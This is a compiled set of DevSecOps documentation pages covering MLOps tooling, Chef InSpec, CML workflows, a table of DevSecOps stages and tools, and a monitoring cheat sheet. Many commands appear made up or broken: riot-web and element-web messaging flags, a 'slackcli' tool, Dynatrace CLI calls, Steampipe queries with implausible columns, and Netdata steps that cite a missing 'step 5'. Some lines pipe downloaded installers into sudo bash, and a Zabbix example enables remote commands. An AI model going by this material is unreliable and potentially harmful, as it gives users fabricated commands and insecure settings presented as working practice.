pipeline to sign artifacts with Sigstore after successful builds and verify signatures during deployment. * **Real-world example** Let's say you have a machine learning model file named "model.pkl" that you want to sign and verify using Sigstore: ``` # Sign the model file sigstore sign model.pkl # This will generate a signed artifact file named "model.pkl.sig" # Verify the signature of the signed model file sigstore verify model.pkl.sig ``` By signing and verifying the model file using Sigstore, you can ensure its integrity and authenticity throughout the software supply chain. ## Kubeflow * **Environment Setup** Set up a Kubernetes cluster for deploying Kubeflow. ``` # Create a Kubernetes cluster using a cloud provider gcloud container clusters create my-cluster --num-nodes=3 --zone=us-central1-a # Install Kubeflow using the Kubeflow deployment tool kfctl init my-kubeflow-app --platform gcp --project=my-project kfctl generate all -V kfctl apply all -V ``` * **Model Development** Develop an ML model using TensorFlow and package it as a Docker container. ``` # Create a Dockerfile for building the model container FROM tensorflow/tensorflow:latest COPY model.py /app/ WORKDIR /app/ CMD ["python", "model.py"] # Build and tag the Docker image docker build -t my-model-image . ``` * **Version Control** Track ML code and artifacts using Git for reproducibility and traceability. ``` # Initialize a Git repository git init # Add ML code and artifacts git add . # Commit changes git commit -m "Initial commit" ``` * **Continuous Integration and Continuous Deployment (CI/CD)** Set up a CI/CD pipeline for automated build, test, and deployment of ML models. ``` # Configure Jenkins pipeline for ML model pipeline { agent any stages { stage('Build') { steps { // Build Docker image sh 'docker build -t my-model-image .' } } stage('Test') { steps { // Run unit tests sh 'python -m unittest discover tests' } } stage('Deploy') { steps { // Deploy model to Kubeflow sh 'kubectl apply -f deployment.yaml' } } } } ``` * **Security Scanning** Integrate security scanning tools to identify vulnerabilities in ML code and dependencies. ``` # Install Snyk CLI npm install -g snyk # Scan Docker image for vulnerabilities snyk test my-model-image ``` * **Model Training** Use Kubeflow Pipelines for defining and executing ML workflows. ``` # Define a Kubeflow Pipeline for training @dsl.pipeline(name='Training Pipeline', description='Pipeline for model training') def train_pipeline(): ... # Compile and run the pipeline kfp.compiler.Compiler().compile(train_pipeline, 'pipeline.tar.gz') kfp.Client().create_run_from_pipeline_package('pipeline.tar.gz') ``` * **Model Serving** Deploy trained models as Kubernetes services using Kubeflow Serving. ``` # Deploy trained model as a service kubectl apply -f serving.yaml ``` * **Monitoring and Observability** Use monitoring and logging tools to track the performance and behavior of your ML models in real-time. This helps in detecting anomalies, monitoring resource utilization, and ensuring the overall health of your ML system. ``` # Install Prometheus and Grafana using Helm helm repo add prometheus-community https://prometheus-community.github.io/helm-charts helm repo update helm install prometheus prometheus-community/prometheus helm install grafana grafana/grafana # Access the Grafana dashboard kubectl port-forward service/grafana 3000:80 # Configure Prometheus as a data source in Grafana and create ML model monitoring dashboards ``` * **Automated Testing** Implement automated testing for your ML models to ensure their correctness and performance. This can include unit tests, integration tests, and load tests to validate the behavior of your models. ``` # Install PyTest pip install pytest # Write tests for ML models # Example test: def test_model_prediction(): model = load_model('my-model.h5') input_data = ... expected_output = ... prediction = model.predict(input_data) assert np.allclose(prediction, expected_output, atol=1e-5) # Run tests pytest tests/ ``` * **Auditing and Compliance** Implement audit trails and compliance measures to track model changes, data usage, and model performance. This helps with regulatory requirements and ensures the transparency and accountability of your ML operations. ``` # Define and implement auditing mechanisms # Example: - Keep track of model versions and associated metadata (e.g., timestamp, author, changes made). - Implement data access logs to monitor data usage and permissions. - Establish model performance metrics and logging for compliance monitoring. - Regularly review and update auditing and compliance measures based on regulatory standards. ``` ## Chef InSpec ### Run a basic compliance check Execute a compliance check using InSpec against a target system. ``` inspec exec ``` an example of an InSpec profile that you can use to execute a compliance check against a target system: ``` # my_compliance_profile.rb # Define the profile metadata title 'My Compliance Profile' maintainer 'Your Name' license 'Apache-2.0' description 'Compliance checks for the target system' # Define the target system(s) to be checked target_hostname = attribute('target_hostname', description: 'Hostname of the target system') # Start writing controls for compliance checks control 'check_os_version' do impact 0.7 title 'Operating System Version Check' desc 'Verify that the operating system version meets the compliance requirements' only_if { os.linux? } # Run this control only on Linux systems describe command('uname -r') do its('stdout') { should cmp '4.19.0-10-amd64' } # Replace with the desired OS version end end control 'check_secure_password_policy' do impact 0.5 title 'Secure Password Policy Check' desc 'Ensure that the system enforces a secure password policy' describe file('/etc/login.defs') do its('content') { should match(/PASS_MAX_DAYS\s+(\d+)/) } its('content') { should match(/PASS_MIN_LEN\s+(\d+)/) } # Add more password policy checks as required end end # Add more controls as needed... ``` In this example, the profile consists of two controls: one for checking the operating system version and another for verifying the secure password policy. You can add more controls to the profile based on your compliance requirements. To use this profile, create a new file with the .rb extension (e.g., my_compliance_profile.rb) and copy the code into it. Customize the controls according to your specific compliance checks and requirements. ### Generate a compliance report Run a compliance check and generate a report in a specific format. ``` inspec exec --reporter ``` ### Check a specific control within a profile Run a compliance check for a specific control within a profile. ``` inspec exec --controls ``` ### Specify target hostname/IP for the compliance check Run a compliance check against a specific target system. ``` inspec exec -t ``` ### Profile development mode Enable profile development mode to interactively write and test controls. ``` inspec init profile inspec shell ``` ## envd ### Create a configuration file: ``` cp config.yml.example config.yml ``` ### Start the envd service ``` python envd.py ``` ### API API Endpoints: * /environments: GET: Retrieve a list of all environments. POST: Create a new environment. * /environments/{env_id}: GET: Retrieve details of a specific environment. PUT: Update an existing environment. DELETE: Delete an environment. * /environments/{env_id}/variables: GET: Retrieve a list of variables for a specific environment. POST: Add a new variable to the environment. * /environments/{env_id}/variables/{var_id}: GET: Retrieve details of a specific variable. PUT: Update an existing variable. DELETE: Delete a variable. #### Create a new environment ``` curl -X POST -H "Content-Type: application/json" -d '{"name": "Production", "description": "Production environment"}' http://localhost:5000/environments ``` #### Get the list of environments ``` curl -X GET http://localhost:5000/environments ``` #### Update an environment ``` curl -X PUT -H "Content-Type: application/json" -d '{"description": "Updated description"}' http://localhost:5000/environments/{env_id} ``` #### Delete a variable ``` curl -X DELETE http://localhost:5000/environments/{env_id}/variables/{var_id} ``` ## Continuous Machine Learning (CML) ### Securely Publishing Model Artifacts ``` name: Publish Model on: push: branches: - main jobs: publish_model: runs-on: ubuntu-latest steps: - name: Checkout Code uses: actions/checkout@v2 - name: Build Model run: | # Run commands to build and train the model python train.py - name: Publish Model Artifacts uses: iterative/cml@v1 with: command: cml-publish model files: model.h5 ``` This example demonstrates how to securely publish model artifacts after building and training a machine learning model. The cml-publish action is used to publish the model.h5 file as an artifact. ### Running Security Scans ``` name: Run Security Scans on: push: branches: - main jobs: security_scan: runs-on: ubuntu-latest steps: - name: Checkout Code uses: actions/checkout@v2 - name: Run Security Scan uses: iterative/cml@v1 with: command: cml-run make scan ``` This example demonstrates how to run security scans on your codebase. The cml-run action is used to execute the make scan command, which can trigger security scanning tools to analyze the code for vulnerabilities. ### Automated Code Review ``` name: Automated Code Review on: pull_request: jobs: code_review: runs-on: ubuntu-latest steps: - name: Checkout Code uses: actions/checkout@v2 - name: Run Code Review uses: iterative/cml@v1 with: command: cml-pr review args: "--checkstyle" ``` This example demonstrates how to perform automated code reviews on pull requests. The cml-pr action is used to trigger a code review using the --checkstyle option, which can enforce coding standards and best practices. ### Secret Management ``` name: Secret Management on: push: branches: - main jobs: secret_management: runs-on: ubuntu-latest steps: - name: Checkout Code uses: actions/checkout@v2 - name: Retrieve Secrets uses: iterative/cml@v1 with: command: cml-secrets pull args: "--all" - name: Build and Deploy run: | # Use the retrieved secrets to build and deploy the application echo $API_KEY > api_key.txt python deploy.py - name: Cleanup Secrets uses: iterative/cml@v1 with: command: cml-secrets clear args: "--all" ``` This example demonstrates how to securely manage secrets during the CI/CD pipeline. The cml-secrets action is used to pull secrets, such as an API key, from a secure storage and use them during the build and deploy process. Afterwards, the secrets are cleared to minimize exposure. ### Secure Deployment with Review ``` name: Secure Deployment on: push: branches: - main jobs: secure_deployment: runs-on: ubuntu-latest steps: - name: Checkout Code uses: actions/checkout@v2 - name: Build and Test run: | # Run commands to build and test the application python build.py python test.py - name: Request Deployment Review uses: iterative/cml@v1 with: command: cml-pr request args: "--title 'Deployment Review' --body 'Please review the deployment' --assign @security-team" ``` This example demonstrates how to request a deployment review from the security team before deploying the application. The cml-pr action is used to create a pull request with a specific title, body, and assignee. This allows the security team to review and approve the deployment before it is executed. ## Automate Machine Learning Lifecycle https://github.com/microsoft/nni ## Resources * https://github.com/devopscube/how-to-mlops * https://github.com/aws/studio-lab-examples * https://github.com/fuzzylabs/awesome-open-mlops ================================================ FILE: docs/model/model.md ================================================ --- layout: default title: Model nav_order: 11 has_children: true permalink: docs/model --- # Model {: .no_toc } ================================================ FILE: docs/model/simple.md ================================================ --- layout: default title: Simple parent: Model --- # Simple {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- DevSecOps simple model more focus on fast and scalable | Stages | Description | Tools | |:-------------|:------------------|:------| | Threat Modeling | Identify and analyze potential security threats and vulnerabilities in the system design and architecture. | Microsoft Threat Modeling Tool, Pytm | | SAST (Static Application Security Testing) | Analyze source code to identify security vulnerabilities and coding flaws. | Snyk - SonarQube - Checkmarx - Fortify - Veracode | | SCA (Software Composition Analysis) | Identify and manage open-source and third-party components for known vulnerabilities and license compliance. | Snyk - Sonatype Nexus Lifecycle - WhiteSource - Black Duck | | Secure Pipeline | Implement security controls and best practices in the CI/CD pipeline to ensure the integrity and security of the software delivery process. | Jenkins - GitLab CI/CD - CircleCI | | Real-time distributed messaging platforms | Utilize messaging platforms for real-time communication, collaboration, and incident response. | Slack - Microsoft Teams - Mattermost - Discord | | Artifacts | Securely manage and store build artifacts, such as Docker images or software packages. | Docker Registry - Nexus Repository Manager - JFrog Artifactory | | Configuration Management | Manage and enforce secure configuration settings across the infrastructure and applications. | Ansible - Chef - Puppet - Terraform | | DAST (Dynamic Application Security Testing) | Test running applications to identify vulnerabilities and security weaknesses in real-time. | Nuclei - Burp Suite - Acunetix - Netsparker | | IAST (Interactive Application Security Testing) | Perform security testing during application runtime to identify vulnerabilities and provide real-time feedback. | Contrast Security - Seeker - Quotium Seeker | | Smoke Test | Execute basic tests to ensure the essential functionality of the application after each deployment. | Selenium - Cypress - Postman | | Cloud Infrastructure | Securely configure and manage cloud infrastructure and services. | AWS CloudFormation - Azure Resource Manager - Google Cloud Deployment Manager | | Secret Management | Securely store and manage sensitive information, such as API keys, passwords, and certificates. | HashiCorp Vault - AWS Secrets Manager - Azure Key Vault | | Threat Intelligence | Gather and analyze threat intelligence data to proactively identify potential security threats and vulnerabilities. | OpenCTI | | Vulnerability Assessment | Conduct regular vulnerability assessments and scans to identify and prioritize vulnerabilities. | Nessus - Qualys - OpenVAS - Rapid7 InsightVM | | Monitoring | Continuously monitor applications and infrastructure for security events and anomalies. | ELK Stack (Elasticsearch, Logstash, Kibana) - Splunk - Prometheus - Grafana | | Virtual Patching | Apply temporary security measures to mitigate vulnerabilities until a permanent fix is implemented. | OpenRASP | | MISecOps (Machine Learning in Security Operations) | Utilize machine learning techniques to enhance security operations and automate threat detection and response. | IBM Watson for Cyber Security - Splunk User Behavior Analytics (UBA) - Darktrace | | AiSecOps (Artificial Intelligence in Security Operations) | Apply artificial intelligence algorithms and techniques to improve security operations and automate threat analysis and response. | Cylance - IBM QRadar - Palo Alto Networks Cortex XDR | ================================================ FILE: docs/operate/monitoring.md ================================================ --- layout: default title: Monitoring parent: Operate --- # Monitoring {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- Monitoring in DevSecOps refers to the practice of continuously observing and analyzing an organization's IT systems, applications, and infrastructure to identify potential security issues, detect and respond to security incidents, and ensure compliance with security policies and regulations. In DevSecOps, monitoring is a critical component of a comprehensive security strategy, allowing organizations to identify and respond to security threats quickly and effectively. Some of the key benefits of monitoring in DevSecOps include: 1. Early detection of security incidents: By continuously monitoring systems and applications, organizations can detect security incidents early on and take immediate action to remediate them. 2. Improved incident response: With real-time monitoring and analysis, organizations can respond to security incidents quickly and effectively, minimizing the impact of a potential breach. 3. Improved compliance: By monitoring systems and applications for compliance with security policies and regulations, organizations can ensure that they are meeting their security obligations. 4. Improved visibility: Monitoring provides organizations with greater visibility into their IT systems and applications, allowing them to identify potential security risks and take proactive steps to address them. There are a variety of monitoring tools and technologies available that can be used in DevSecOps, including log analysis tools, network monitoring tools, and security information and event management (SIEM) solutions. These tools can be integrated with other DevSecOps practices, such as continuous integration and continuous deployment, to ensure that security is built into the application development lifecycle. ## Prometheus Start the Prometheus server: ``` $ ./prometheus --config.file=prometheus.yml ``` Check Prometheus server status: ``` $ curl http://localhost:9090/-/healthy ``` Query data using PromQL: ``` http://localhost:9090/graph?g0.range_input=1h&g0.expr=up&g0.tab=0 ``` ## Grafana Add Prometheus data source: ``` http://localhost:3000/datasources/new?gettingstarted ``` ## Nagios Configure Nagios server: ``` /etc/nagios3/conf.d/ ``` Verify Nagios server configuration: ``` $ sudo /usr/sbin/nagios3 -v /etc/nagios3/nagios.cfg ``` ## Zabbix Configure Zabbix agent on the server: Edit the Zabbix agent configuration file /etc/zabbix/zabbix_agentd.conf to specify the Zabbix server IP address and hostname, and to enable monitoring of system resources such as CPU, memory, disk usage, and network interface. Example configuration: ``` Server=192.168.1.100 ServerActive=192.168.1.100 Hostname=web-server EnableRemoteCommands=1 UnsafeUserParameters=1 # Monitor system resources UserParameter=cpu.usage[*],/usr/bin/mpstat 1 1 | awk '/Average:/ {print 100-$NF}' UserParameter=memory.usage,free | awk '/Mem:/ {print $3/$2 * 100.0}' UserParameter=disk.usage[*],df -h | awk '$1 == $1 {print int($5)}' UserParameter=network.in[*],cat /proc/net/dev | grep $1 | awk '{print $2}' UserParameter=network.out[*],cat /proc/net/dev | grep $1 | awk '{print $10}' ``` Configure Zabbix server: Login to the Zabbix web interface and navigate to the "Configuration" tab. Create a new host with the same hostname as the server being monitored, and specify the IP address and Zabbix agent port. Add items to the host to monitor the system resources specified in the Zabbix agent configuration file. Example items: * CPU usage: `system.cpu.util[,idle]` * Memory usage: `vm.memory.size[available]` * Disk usage: `vfs.fs.size[/,pfree]` * Network inbound traffic: `net.if.in[eth0]` * Network outbound traffic: `net.if.out[eth0]` Configure triggers: Set up triggers to alert when any monitored item exceeds a certain threshold. For example, set a trigger on the CPU usage item to alert when the usage exceeds 80%. Configure actions: Create actions to notify relevant stakeholders when a trigger is fired. For example, send an email to the web application team and the system administrators. ## Datadog Edit the Datadog agent configuration file `/etc/datadog-agent/datadog.yaml` and add the following lines: ``` # Collect CPU metrics procfs_path: /proc cpu_acct: true # Collect memory metrics meminfo_path: /proc/meminfo ``` To view CPU and memory metrics, go to the Datadog Metrics Explorer and search for the metrics `system.cpu.usage` and `system.mem.used`. Here are some sample commands you can use to collect CPU and memory metrics with Datadog: To collect CPU metrics: ``` curl -X POST -H "Content-type: application/json" -d '{ "series": [ { "metric": "system.cpu.usage", "points": [ [ '"$(date +%s)"', "$(top -bn1 | grep '%Cpu(s)' | awk '{print $2 + $4}')" ] ], "host": "my-host.example.com", "tags": ["environment:production"] } ] }' "https://api.datadoghq.com/api/v1/series?api_key=" ``` To collect memory metrics: ``` curl -X POST -H "Content-type: application/json" -d '{ "series": [ { "metric": "system.mem.used", "points": [ [ '"$(date +%s)"', "$(free -m | awk '/Mem:/ {print $3}')" ] ], "host": "my-host.example.com", "tags": ["environment:production"] } ] }' "https://api.datadoghq.com/api/v1/series?api_key=" ``` Note that these commands assume that you have the necessary tools (`top`, `free`) installed on your system to collect CPU and memory metrics. You can customize the `metric`, `host`, and `tags` fields as needed to match your setup. ## New Relic To install the New Relic Infrastructure agent on a Ubuntu server: ``` curl -Ls https://download.newrelic.com/infrastructure_agent/linux/apt | sudo bash sudo apt-get install newrelic-infra sudo systemctl start newrelic-infra ``` To install the New Relic Infrastructure agent on a CentOS/RHEL server: ``` curl -Ls https://download.newrelic.com/infrastructure_agent/linux/yum/el/7/x86_64/newrelic-infra.repo | sudo tee /etc/yum.repos.d/newrelic-infra.repo sudo yum -y install newrelic-infra sudo systemctl start newrelic-infra ``` To view CPU and memory metrics for a specific server using the New Relic API: ``` curl -X GET 'https://api.newrelic.com/v2/servers/{SERVER_ID}/metrics/data.json' \ -H 'X-Api-Key:{API_KEY}' \ -i \ -d 'names[]=System/CPU/Utilization&values[]=average_percentage' \ -d 'names[]=System/Memory/Used/Bytes&values[]=average_value' \ -d 'from=2022-05-01T00:00:00+00:00&to=2022-05-10T00:00:00+00:00' ``` ## AWS CloudWatch 1- To install the CloudWatch agent on Linux, you can use the following commands: ``` curl https://s3.amazonaws.com/amazoncloudwatch-agent/amazon_linux/amd64/latest/amazon-cloudwatch-agent.rpm -O sudo rpm -i amazon-cloudwatch-agent.rpm ``` 2- Configure the CloudWatch Agent to Collect Metrics On Linux, you can create a configuration file at `/opt/aws/amazon-cloudwatch-agent/etc/amazon-cloudwatch-agent.json` with the following content: ``` { "metrics": { "namespace": "CWAgent", "metricInterval": 60, "append_dimensions": { "InstanceId": "${aws:InstanceId}" }, "metrics_collected": { "cpu": { "measurement": [ "cpu_usage_idle", "cpu_usage_iowait", "cpu_usage_user", "cpu_usage_system" ], "metrics_collection_interval": 60, "totalcpu": false }, "memory": { "measurement": [ "mem_used_percent" ], "metrics_collection_interval": 60 } } } } ``` On Windows, you can use the CloudWatch Agent Configuration Wizard to create a configuration file with the following settings: ``` - Choose "AWS::EC2::Instance" as the resource type to monitor - Choose "Performance counters" as the log type - Select the following counters to monitor: - Processor Information -> % Processor Time - Memory -> % Committed Bytes In Use - Set the metric granularity to 1 minute - Choose "CWAgent" as the metric namespace - Choose "InstanceId" as the metric dimension ``` 3- Start the CloudWatch Agent Once you've configured the CloudWatch agent, you can start it on the EC2 instance using the following commands: ``` sudo /opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl -a fetch-config -m ec2 -s -c file:/opt/aws/amazon-cloudwatch-agent/etc/amazon-cloudwatch-agent.json sudo service amazon-cloudwatch-agent start ``` 4- View the Metrics in CloudWatch After a few minutes, the CloudWatch agent will start collecting CPU and memory metrics from the EC2 instance. You can view these metrics in the CloudWatch console by following these steps: * Go to the CloudWatch console and select "Metrics" from the left-hand menu * Under "AWS Namespaces", select "CWAgent" * You should see a list of metrics for the EC2 instance you are monitoring, including CPU and memory usage. You can select individual metrics to view graphs and set up alarms based on these metrics. ## Azure Monitor 1- Configure the agent to collect CPU and memory metrics by adding the following settings to the agent's configuration file: ``` { "metrics": { "performance": { "collectionFrequencyInSeconds": 60, "metrics": [ { "name": "\\Processor(_Total)\\% Processor Time", "category": "Processor", "counter": "% Processor Time", "instance": "_Total" }, { "name": "\\Memory\\Available Bytes", "category": "Memory", "counter": "Available Bytes", "instance": null } ] } } } ``` 2- Restart the Azure Monitor agent to apply the new configuration. 3- Select the virtual machine or server that you want to view metrics for. 4- Select the CPU and memory metrics that you want to view. 5- Configure any alerts or notifications that you want to receive based on these metrics. To collect CPU and memory metrics using Azure Monitor, you can also use the Azure Monitor REST API or the Azure CLI. Here's an example Azure CLI command to collect CPU and memory metrics: ``` az monitor metrics list --resource {resource_id} --metric-names "\Processor(_Total)\% Processor Time" "Memory\Available Bytes" --interval PT1M --start-time 2022-05-20T00:00:00Z --end-time 2022-05-21T00:00:00Z ``` This command retrieves CPU and memory metrics for a specific resource (identified by `{resource_id}`) over a one-day period (from May 20, 2022 to May 21, 2022), with a one-minute interval. You can modify the parameters to retrieve different metrics or time ranges as needed. ## Google Cloud Monitoring 1- Install the Stackdriver agent on the GCE instance. You can do this using the following command: ``` curl -sSO https://dl.google.com/cloudagents/install-monitoring-agent.sh sudo bash install-monitoring-agent.sh ``` 2- Verify that the Monitoring Agent is running by checking its service status: ``` sudo service stackdriver-agent status ``` 3- In the Google Cloud Console, go to Monitoring > Metrics Explorer and select the `CPU usage` metric under the `Compute Engine VM Instance` resource type. Set the aggregation to `mean` and select the GCE instance that you created and `Click Create` chart to view the CPU usage metric for your instance. 4- To collect memory metrics, repeat step 5 but select the `Memory usage` metric instead of `CPU usage`. ## Netdata * In the Netdata web interface, go to the "Dashboard" section and select the "system.cpu" chart to view CPU usage metrics. You can also select the "system.ram" chart to view memory usage metrics. * To reduce failover using machine learning, you can configure Netdata's anomaly detection feature. In the Netdata web interface, go to the "Anomaly Detection" section and select "Add alarm". * For the "Detect" field, select "cpu.system". This will detect anomalies in the system CPU usage. * For the "Severity" field, select "Warning". This will trigger a warning when an anomaly is detected. * For the "Action" field, select "Notify". This will send a notification when an anomaly is detected. * You can also configure Netdata's predictive analytics feature to predict when a system will fail. In the Netdata web interface, go to the "Predict" section and select "Add algorithm". * For the "Algorithm" field, select "Autoregression". This will use autoregression to predict system behavior. * For the "Target" field, select "cpu.system". This will predict CPU usage. * For the "Window" field, select "30 minutes". This will use a 30-minute window to make predictions. * Finally, click "Create" to create the algorithm. ## Sysdig - [ ] Capture system events and write them to a file. ``` sysdig -w ``` - [ ] Customize the output format of captured events ``` sysdig -p "%evt.num %evt.type %evt.args" ``` - [ ] Filter events by process name (e.g., nginx) ``` sysdig proc.name=nginx ``` - [ ] Read events from a file and filter by process name (e.g., httpd). ``` sysdig -r proc.name=httpd ``` - [ ] Display file open events ``` sysdig -c file_open ``` - [ ] Customize the output format of captured events ``` sysdig -c fdbytes_by fd.sport ``` - [ ] Monitor IP traffic in real-time. ``` sysdig -c spy_ip ``` - [ ] Show top containers by CPU usage. ``` sysdig -c topcontainers_cpu ``` - [ ] Display process execution time. ``` sysdig -c proc_exec_time ``` - [ ] Monitor system calls made by processes. ``` sysdig -c proc_calls ``` - [ ] Top Container ``` sysdig -c container_top ``` - [ ] Customize the output format of captured events ``` Show top containers by resource usage. ``` - [ ] Display Kubernetes pod information. ``` sysdig -c k8s.pods ``` - [ ] Monitor Kubernetes deployment events. ``` sysdig -c k8s.deployments ``` ## Dynatrace - [ ] Retrieve average CPU usage timeseries data for a specific time range. Create Custom Alerting Profile: ``` timeseriesquery "metric=CPU|avg:system.cpu.usage" --start-time="2023-05-01T00:00:00Z" --end-time="2023-05-02T00:00:00Z": ``` - [ ] Create a new alerting profile for detecting high memory usage, with a threshold of 80%. Retrieve Deployment Events ``` create-alerting-profile --name="High Memory Usage" --metric="memory.resident" --condition="> threshold:80" --enabled=true: ``` - [ ] Retrieve a list of deployment events that occurred within a specific time range. ``` deployment-events --start-time="2023-05-01T00:00:00Z" --end-time="2023-05-02T00:00:00Z" ``` - [ ] Create a new custom dashboard with a 2x2 layout. ``` dashboard create --name="My Custom Dashboard" --layout="2x2": ``` - [ ] Analyze the performance and dependencies of a specific application named "My Application". ``` application analyze --name="My Application": ``` ## Alerta ### Send a new alert Create and send a new alert to the Alerta system ``` curl -X POST -H "Content-Type: application/json" -d '{ "resource": "webserver1", "event": "High CPU Usage", "environment": "Production", "severity": "major", "service": ["Web Servers"], "text": "High CPU usage detected on webserver1" }' https://your-alerta-url/api/alert ``` ### Query alerts Retrieve alerts based on specific criteria ``` curl -X GET "https://your-alerta-url/api/alert?status=open&severity=major" ``` ### Update an alert Update the details or status of an existing alert ``` curl -X PUT -H "Content-Type: application/json" -d '{ "status": "ack", "note": "Investigating the issue..." }' https://your-alerta-url/api/alert/ ``` ### Delete an alert Delete an existing alert from the Alerta system ``` curl -X DELETE https://your-alerta-url/api/alert/ ``` ### Get alert history Retrieve the history of changes for a specific alert. ``` curl -X GET https://your-alerta-url/api/alert//history ``` ## ChatOps ### Element #### Creating a New Matrix Account ``` # Riot riot-web # Element element-web ``` #### Joining a Matrix Chat Room ``` # Riot riot-web --url "https://matrix.org" --room "room_id" # Element element-web --url "https://matrix.org" --room "room_id" ``` #### Sending a Message in a Matrix Chat Room ``` # Riot riot-web --url "https://matrix.org" --room "room_id" --message "Hello, World!" # Element element-web --url "https://matrix.org" --room "room_id" --message "Hello, World!" ``` #### Displaying Room Details in Matrix ``` # Riot riot-web --url "https://matrix.org" --room "room_id" --details # Element element-web --url "https://matrix.org" --room "room_id" --details ``` #### Creating a New Matrix User ``` # Riot riot-web --url "https://matrix.org" --register --username "new_user" --password "password" # Element element-web --url "https://matrix.org" --register --username "new_user" --password "password" ``` #### Send a deployment notification to a chat room ``` # Riot riot-web --url "https://matrix.org" --room "room_id" --message "Deployment successful!" # Element element-web --url "https://matrix.org" --room "room_id" --message "Deployment successful!" ``` #### Trigger a CI/CD pipeline from a chat room ``` # Riot riot-web --url "https://matrix.org" --room "room_id" --message "!pipeline deploy" # Element element-web --url "https://matrix.org" --room "room_id" --message "!pipeline deploy" ``` #### Execute a command on a remote server from a chat room ``` # Riot riot-web --url "https://matrix.org" --room "room_id" --message "!exec ssh user@server 'ls -l'" # Element element-web --url "https://matrix.org" --room "room_id" --message "!exec ssh user@server 'ls -l'" ``` ### Slack #### Send a deployment notification to a Slack channel: ``` slackcli --channel "#channel_name" --message "Deployment successful!" ``` #### Trigger a CI/CD pipeline from a Slack channel: ``` slackcli --channel "#channel_name" --message "!pipeline deploy" ``` #### Execute a command on a remote server from a Slack channel: ``` slackcli --channel "#channel_name" --message "!exec ssh user@server 'ls -l'" ``` #### Request a status update from an external service in a Slack channel: ``` slackcli --channel "#channel_name" --message "!status check" ``` #### Create a new ticket in a ticketing system from a Slack channel: ``` slackcli --channel "#channel_name" --message "!ticket create 'New issue: Need assistance'" ``` ## Robusta To set custom tolerations or a nodeSelector update your generated_values.yaml file as follows: ``` global_config: krr_job_spec: tolerations: - key: "key1" operator: "Exists" effect: "NoSchedule" nodeSelector: nodeName: "your-selector ``` ## Sensu ### Register a new check in Sensu: ``` sensuctl check create mycheck --command "check_mycheck.sh" --subscriptions linux --handlers default ``` ### Register a new check in Sensu: ``` sensuctl check create mycheck --command "check_mycheck.sh" --subscriptions linux --handlers default ``` ### Create a new handler in Sensu: ``` sensuctl handler create myhandler --type pipe --command "myhandler.sh" ``` ### Create a new asset in Sensu: ``` sensuctl asset create myasset --url https://example.com/myasset.tar.gz --sha512sum abcdef1234567890 ``` ### Create a new namespace in Sensu: ``` sensuctl namespace create mynamespace ``` ### Create a new filter in Sensu: ``` sensuctl filter create myfilter --action allow --expressions "event.Entity.Environment == 'production'" ``` ## Steampipe ### Check for open security groups in AWS ``` select aws_vpc.vpc_id, aws_security_group.group_id, aws_security_group.group_name, aws_security_group.description from aws_security_group inner join aws_vpc on aws_security_group.vpc_id = aws_vpc.vpc_id where aws_security_group.security_group_status = 'active' and aws_security_group.group_name != 'default' and aws_security_group.ip_permissions_egress = '0.0.0.0/0' ``` ### Check for public S3 buckets in AWS ``` select aws_s3_bucket.bucket_name, aws_s3_bucket.creation_date, aws_s3_bucket.owner_id, aws_s3_bucket.owner_display_name from aws_s3_bucket where aws_s3_bucket.acl = 'public-read' or aws_s3_bucket.acl = 'public-read-write' ``` ### Check for unencrypted RDS instances in AWS ``` select aws_rds_db_instance.db_instance_identifier, aws_rds_db_instance.encrypted, aws_rds_db_instance.engine, aws_rds_db_instance.engine_version from aws_rds_db_instance where aws_rds_db_instance.encrypted = false ``` ### Check for outdated Docker images in Docker Hub ``` select docker_hub_image.namespace, docker_hub_image.name, docker_hub_image.tag, docker_hub_image.image_created from docker_hub_image where docker_hub_image.image_created < date_sub(current_date, interval 30 day) ``` ### Check for unused IAM access keys in AWS ``` select aws_iam_access_key.access_key_id, aws_iam_access_key.user_name, aws_iam_access_key.create_date, aws_iam_access_key.status from aws_iam_access_key where aws_iam_access_key.status = 'Active' and not exists ( select 1 from aws_iam_user where aws_iam_user.user_name = aws_iam_access_key.user_name and aws_iam_user.user_enabled = true ) ``` ## Sysdig ### Capture system activity and save it to a file for later analysis ``` sysdig -w ``` ### Display a live system activity summary with top processes ``` sysdig -c top ``` ### Monitor network activity with a summary of network connections ``` sysdig -c netstat ``` ### Filter system activity based on process name ``` sysdig proc.name= ``` ### Filter system activity based on process ID (PID) ``` sysdig proc.pid= ``` ### Monitor disk I/O activity for a specific process ``` sysdig -p"%proc.name %evt.type" fd.type=char fd.name=/dev/sdX ``` ### Trace system calls made by a specific process ``` sysdig -p"%proc.name %evt.type %evt.args" proc.name= ``` ### Monitor file system activity within a directory ``` sysdig -p"%evt.type %evt.args" evt.dir= ``` ### Monitor system calls related to process creation ``` sysdig -p"%proc.name %evt.type" evt.type=clone or evt.type=fork ``` ## Sysdig Inspect ### Launch Sysdig Inspect on a live running container ``` sysdig -p"%proc.name %evt.type" evt.type=clone or evt.type=fork ``` ### Launch Sysdig Inspect on a specific trace file for offline analysis ``` sysdig-inspect trace ``` ### Filter the displayed events based on a specific process ``` filter proc.name= ``` ### Filter the displayed events based on a specific system call ``` filter evt.type= ``` ### Inspect the file system events within a specific directory ``` fs.directory= ``` ### Inspect the system calls made by a process ``` syscall ``` ### Inspect the network connections of a process ``` netconn ``` ### Inspect the open file descriptors of a process ``` openfiles ``` ### Display a summary of captured system calls and events ``` events ``` ## Monitoring cron files https://github.com/sqall01/LSMS/blob/main/scripts/monitor_cron.py ## Monitoring /etc/hosts file https://github.com/sqall01/LSMS/blob/main/scripts/monitor_hosts_file.py ## Monitoring /etc/ld.so.preload file https://github.com/sqall01/LSMS/blob/main/scripts/monitor_ld_preload.py ## Monitoring /etc/passwd file https://github.com/sqall01/LSMS/blob/main/scripts/monitor_passwd.py ## Monitoring modules https://github.com/sqall01/LSMS/blob/main/scripts/monitor_modules.py ## Monitoring SSH authorized_keys files https://github.com/sqall01/LSMS/blob/main/scripts/monitor_ssh_authorized_keys.py ## Monitoring systemd unit files https://github.com/sqall01/LSMS/blob/main/scripts/monitor_systemd_units.py ## Search executables in /dev/shm https://github.com/sqall01/LSMS/blob/main/scripts/search_dev_shm.py ## Search fileless programs (memfd_create) https://github.com/sqall01/LSMS/blob/main/scripts/search_memfd_create.py ## Search hidden ELF files https://github.com/sqall01/LSMS/blob/main/scripts/search_hidden_exe.py ## Search immutable files https://github.com/sqall01/LSMS/blob/main/scripts/search_immutable_files.py ## Search kernel thread impersonations 